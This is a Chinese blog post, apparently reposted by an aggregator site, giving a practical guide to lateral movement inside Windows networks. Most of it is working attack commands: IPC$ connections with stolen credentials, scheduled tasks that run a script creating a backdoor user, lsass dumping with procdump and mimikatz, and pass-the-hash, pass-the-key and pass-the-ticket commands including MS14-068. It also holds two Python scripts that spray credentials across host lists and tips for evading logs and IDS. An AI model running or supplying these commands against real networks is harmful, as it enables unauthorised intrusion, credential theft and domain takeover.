内网渗透-最实用的横向移动总结

Posted 告白热

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了内网渗透-最实用的横向移动总结相关的知识,希望对你有一定的参考价值。

0x00 内网横向移动的两种方式小结

内网的横向移动的方式有传递和漏洞两种:

所谓传递就是通过内置的一系列协议与命令,
例如:
at,schtasks,
psexec,smbexec,
wmic,vmiexec,
PTH,PTT,PTK,
winrs,winrm,RDP,SPN等,实现达到渗透其他内网主机,
使用工具: CobaltStrike,Ladon等渗透

所谓漏洞就是一些主机或者其他的CVE漏洞去渗透主机
例如:
CVE-2014-6324
CVE-201717010
CVE-2020-1472等,实现达到渗透其他内网主机,

0x01 横向移动-at,schtasks传递

基于对方开启139,445端口,获取其他主机的明文密码,或者hash值
1)at传递:
对于at命令需要对方主机低于win2012在已知目标系统的用户明文密码的基础上,直接可以在远程主机上执行命令。首先at,sc协议需要有135/445端口的开放,一般主机都会开启。没有开启就采用其他的移动方式。

利用流程

  1. 建立 IPC 链接到目标主机,知道对方主机账户密码信息,若未成功可能权限问题
  2. 拷贝要执行的命令脚本到目标主机
  3. 查看目标时间,创建计划任务(at、schtasks)定时执行拷贝到的脚本
  4. 删除 IPC 链接
建立ipc连接:net use \\\\192.168.213.163\\ipc$ "123.com" /user:hsyy.com\\administrator
本地制作user.bat文件放在本地c盘执行命令脚本:net user haha 123.com /add
将文件上传到对方主机C 盘:copy user.bat \\\\192.168.213.163\\c$ 
给对方主机添加命令执行任务:at \\\\192.168.213.163 12:20 c:\\user.bat
等待后查看到对方主机添加用户haha

详细步骤: 建立连接
给对方复制文件,添加进程任务
对方查看添加成功

建立 IPC 常见的错误代码
(1)5:拒绝访问,可能是使用的用户不是管理员权限,需要先提升权限
(2)51:网络问题,Windows 无法找到网络路径
(3)53:找不到网络路径,可能是 IP 地址错误、目标未开机、目标 Lanmanserver 服务未启动、有
防火墙等问题
(4)67:找不到网络名,本地 Lanmanworkstation 服务未启动,目标删除 ipc$
(5)1219:提供的凭据和已存在的凭据集冲突,说明已建立 IPC$,需要先删除
(6)1326:账号密码错误
(7)1792:目标 NetLogon 服务未启动,连接域控常常会出现此情况
(8)2242:用户密码过期,目标有账号策略,强制定期更改密码
#建立 IPC 失败的原因
(1)目标系统不是 NT 或以上的操作系统
(2)对方没有打开 IPC$共享
(3)对方未开启 139、445 端口,或者被防火墙屏蔽
(4)输出命令、账号密码有错误

2)schtasks传递:
对于at命令需要对方主机低于win2012,schtasks支持2012包括以上的版本

利用流程:
创建ipc连接:net use \\\\192.168.213.163\\ipc$ "123.com" /user:hsyy.com\\administrator 
复制脚本bat文件:copy user.bat \\\\192.168.213.163\\c$ 
创建 adduser 任务对应执行文件:schtasks /create /s 192.168.213.163 /ru "SYSTEM" /tn adduser /sc DAILY /tr c:\\user.bat /F
执行文件任务:schtasks /run /s 192.168.213.163 /tn adduser /i
删除执行文件任务:schtasks /delect /s 192.168.213.163 /tn adduser /f

3)atexec.exe横向渗透hash传递:
atexec比较容易被杀掉,实战中需要做免杀,

FOR /F %%i in (ips.txt) do net use \\\\%%i\\ipc$ "admin!@#45" /user:administrator #批量检测 IP 对应明文
连接
FOR /F %%i in (ips.txt) do atexec.exe ./administrator:admin!@#45@%%i whoami #批量检测 IP 对应明文
回显版
FOR /F %%i in (pass.txt) do atexec.exe ./administrator:%%i@192.168.3.21 whoami #批量检测明文对应 IP
回显版
FOR /F %%i in (hash.txt) do atexec.exe -hashes :%%i ./administrator@192.168.3.21 whoami #批量检测
HASH 对应 IP 回显版

4)pyhon批量检测IP,密码,账户存活:
生成exe文件:

文件位置:

使用pyinstaller打包exe运行文件:
python批量检测:使用收集到的域内IP信息,密码账户信息作为字典
import os,time
ips={
    '192.168.213.163',
    '192.168.213.100',
    '192.168.213.120',
    '192.168.213.132'
}

users={
    'administrator',
    'user',
    'haha',
    'Administrator',
    'lily'
}
passs={
    'admin',
    '123.com',
    '',
    '123456'
}
for ip in ips:
    for user in users:
        for mima in passs:
            exec="net use \\\\"+"\\\\"+ip+'\\ipc$'+mima+' /user:hsyy.com\\\\'+user
            print('--->'+exec+'--->')
            os.system(exec)
            time.sleep(1)

0x02 横向移动-基于SMB的psexec,smbexec传递

psexec,smbexec是基于SMB服务的连接,需要开启445端口,获取明文或者hash值

首先介绍procdump配合minikatz获取本机的明文密码和hash值
安装procdump:https://docs.microsoft.com/zh-cn/sysinternals/downloads/procdump
生成lsass.dmp文件:procdump -accepteula -ma lsass.exe lsass.dmp
使用mnikatz解密出密码:
sekurlsa::minidump lsass.dmp
sekurlsa::logonPasswords full

1)psexec传递:
第一种:建立ipc连接,明文或者hash传递,需要对方的administrator权限,否则会错误
psexec是微软官方,不会被杀:https://docs.microsoft.com/en-us/sysinternals/downloads/pstools

建立ipc连接:net use \\\\192.168.213.163\\ipc$ "123.com" /user:administrator
使用psexec返回cmd窗口:psexec \\\\192.168.213.163 -s cmd


第二种:不用建立 IPC 直接提供明文账户密码

删除ipc连接:net use * /delete
直接明文连接:psexec \\\\192.168.213.163 -u administrator -p 123.com -s cmd
hash连接:
psexec -hashes :$HASH$ ./administrator@10.1.2.3
psexec -hashes :$HASH$ domain/administrator@10.1.2.3
psexec -hashes :518b98ad4178a53695dc997aa02d455c ./administrator@192.168.3.32 官方 Pstools 无法
采。需要使用 impacket 工具包使用,操作简单,容易被杀


2)smbexec传递
无需先建立 ipc 链接 明文或 hash 传递
这是使用impacket工具包,
exe下载地址:https://gitee.com/RichChigga/impacket-examples-windows/repository/archive/master.zip
py版本:https://github.com/SecureAuthCorp/impacket

明文传递命令:smbexec hsyy.com/administrator:123.com@192.168.213.163
hash传递:
smbexec -hashes :$HASH$ ./admin@192.168.213.163
smbbexec -hashes :$HASH$ domain/admin@192.168.213.163

0x03 横向移动,基于WMI 的wmic,vmiexec传递

需要开启135端口服务,支持明文与hash的传递,并且这种方式不会在日志中留下痕迹
1)wmic传递
1.使用自带的明文传递 无回显

建立连接,返回的值在对方主机需要进行读取:
wmic /node:192.168.213.163 /user:administrator /password:123.com process call create "cmd.exe /c ipconfig >C:\\1.txt"


读取值:

2.使用自带的明文传递 有回显,需要借助vbs文件

cscript //nologo wmiexec.vbs /shell 192.168.213.163 administrator 123.com

3.使用套件 impacket wmiexec 明文或 hash 传递 有回显 exe 版本,可能容易被杀
工具包地址:https://gitee.com/RichChigga/impacket-examples-windows/repository/archive/master.zip

工作组环境:wmiexec ./账户:密码@192.168.3.32 "whoami"
域环境:wmiexec god/administrator:123.com@192.168.3.21 "whoami"
hash传递:
wmiexec -hashes :518b98ad4178a53695dc997aa02d455c ./administrator@192.168.213.163 "whoami"
wmiexec -hashes :ccef208c6485269c20db2cad21734fe7 god/administrator@192.168.213.163 "whoami"
查看c盘:wmiexec hsyy.com/administrator:123.com@192.168.213.163 "dir /c"


3.py批量检测,循环账户密码,

使用python的pyinstaller模块导出exe执行
pyinstaller.exe -F fuck_neiwang_002.py
EXP:
import os,time
ips={
'192.168.3.21',
'192.168.3.25',
'192.168.3.29',
'192.168.3.30',
'192.168.3.32'
}
users={
'Administrator',
'boss',
'dbadmin',
'fileadmin',
'mack',
'mary',
'webadmin'
}
hashs={
'ccef208c6485269c20db2cad21734fe7',
'518b98ad4178a53695dc997aa02d455c'
}
for ip in ips:
for user in users:
for mimahash in hashs:
#wmiexec -hashes :hashgod/user@ipwhoami
exec = "wmiexec -hashes :"+mimahash+" god/"+user+"@"+ip+" whoami"
print('--->' + exec + '<---')
os.system(exec)
time.sleep(0.5)

0x04 横向移动-PTH,PTK,PTT传递

使用这三种协议传递需要注意的是,当使用PTH传递时候当对方主机存在补丁kb2871997后,PTH配合minikatz只能连接域用户,不能连接其他组的用户,PTK的传递需要对方主机存在补丁kb2871997才PTK才可以连接域用户,也可以连接组,采用ase256连接,PTH与PTK的传递都是基于NTML认证,而PTT的传递基于kerbros协议,
总结:

1)PTH配合minikatz传递:
未打补丁,ntlm传递:

提权:privilege::debug
ntlm传递:sekurlsa::pth /user:administrator /domain:hsyy.com /ntlm:ccef208c6485269c20db2cad21734fe7
ntml组内碰撞:可能存在与本机相同的administrtor用户的hash值
sekurlsa::pth /user:administrator/domain:workgroup/ntlm:518b98ad4178a53695dc997aa02d455c
ntml域用户传递:sekurlsa::pth /user:hsyy /domain:hsyy.com /ntlm:ccef208c6485269c20db2cad21734fe7

2)PTK配合minikatz传递需要存在补丁kb2871997

使用minikatz获取aes256_hmac:sekurlsa::ekeys
传递连接:
sekurlsa::pth /user:mary/domain:hsyy.com/aes256:d7c1d9310753a2f7f240e5b2701dc1e6177d16a6e40af3c5cdff814719821c4b

3)PTT利用ms14-068传递:
ms14-068能够将普通域用户的权限获取域控 system 权限

提权步骤: MS14-068 powershell 执行
1.查看当前 sid : whoami /user
2.清空当前机器中所有凭证,如果有域成员凭证会影响凭证伪造:mimikatz # kerberos::purge
3.查看当前机器凭证:mimikatz # kerberos::list
4.将票据注入到内存中:mimikatz # kerberos::ptc 票据文件
5.利用 ms14-068 生成 TGT 数据:ms14-068.exe -u 域成员名@域名 -s sid -d 域控制器地址 -p 域成员密码
6.票据注入内存:开启mimikatz.exe “kerberos::ptc TGT_mary@god.org.ccache” 退出exit
7.查看凭证列表 klist
8.提权利用:dir \\192.168.213.132\\c$

步骤实现:
1.查看sid:whoami /user
2.利用ms14-068生成票据:ms14-068.exe -u 域成员名@域名 -s sid -d 域控制器地址 -p 域成员密码
3.注入票据:

4.连接域控实现提权:
如果无法识别,就将IP改为域计算机名

4)PTT利用工具kekeo传递:

PTT知识点:PTT权限维持技术:黄金票据Golden ticket 白银票据STLVER ticket

实现步骤:
1.生成票据 kekeo “tgt::ask /user:mary /domain:hsyy.com /ntlm:518b98ad4178a53695dc997aa02d455c”
2.导入票据 kerberos::ptt TGT_haha@HSYY.COM_krbtgt~hsyy.com@GOD.ORG.kirbi
3.查看凭证 klist
4.利用 net use 载入 dir \\192.168.213.163\\c$

5)PTT配合mimikatz利用本地票据:需要管理员权限:

提升权限:privilege::debug
导出票据:sekurlsa::tickets /export
利用票据:kerberos::ptt xxxxxxxxxx.xxxx.kirbi

6) Ladon工具推荐使用:
国产 Ladon 内网杀器测试验收
实现:信息收集-协议扫描-漏洞探针-传递攻击等
使用地址:https://github.com/k8gege/Ladon

0x05 横向传递-RDP,SPN扫描技术

1)RDP传递:

RDP技术就是类似于linux上的ssh远程连接,知道对方的IP,以及账户密码进行连接
需要开启3389端口
cmd运行:mstsc
明文传递
hash传递比较鸡肋

2)SPN扫描:

当计算机加入域时,主SPN会自动添加到域的计算机账号的ServicePrincipalName属性中。在安装新的服务
后,SPN也会被记录在计算机账号的相应属性中。。
SPN扫描也称为”扫描Kerberos服务实例名称"。 在活动目录中发现服务的最佳方法就是SPN扫描。 SPN 扫描通过请求特定SPN类型的服务主体名称来查找服务。与网络端口扫描相比, SPN扫描的主要特点是不需要
通过连接网络中的每个IP地址来检查服务端口(不会因为触发内网中的IPS. IDS等设备的规则而产生大量的警告
日志)。因为SPN查询是Kerberos票据行为的一部分,所以检测难度很大。
由于SPN扫描是基于LDAP协议向域控制器进行查询的,所以,攻击者只需要获得一个普 通的域用户权限, 就可以进行SPN扫描。

0x06 横向移动-CobaltStrike

使用流程:
1.启动-配置- 监听执行-.上线提权信息收集(网络,凭证,定位等) -渗透
2.关于启动及配置
3.关于提权及插件加载
4.关于信息收集命令
5 关于视图自动化功能

安装使用:http://www.kxsy.work/2021/08/05/shen-tou-shen-qi-cs-an-zhuang-xiang-xi-jiao-cheng/

域渗透参考:http://www.kxsy.work/2021/08/17/strike-yu-shen-tou/
CS4.0使用手册:
链接:https://pan.baidu.com/s/1knqCFSZ2VxUKKAGE6INRiw
提取码:hsyy

交流学习:
博客:www.kxsy.work
CSND社区:告白热

师从“小迪安全”http://www.xiaodi8.com/

以上是关于内网渗透-最实用的横向移动总结的主要内容,如果未能解决你的问题,请参考以下文章

内网渗透-横向移动(smb&wmi)

内网渗透测试理论学习之第四篇内网渗透域的横向移动

内网渗透学习域横向移动——SMB和WMI服务利用

内网渗透-横向移动($IPC&at&schtasks)

内网渗透学习域横向移动——PTH&PTK&PTT

内网渗透-最实用的信息收集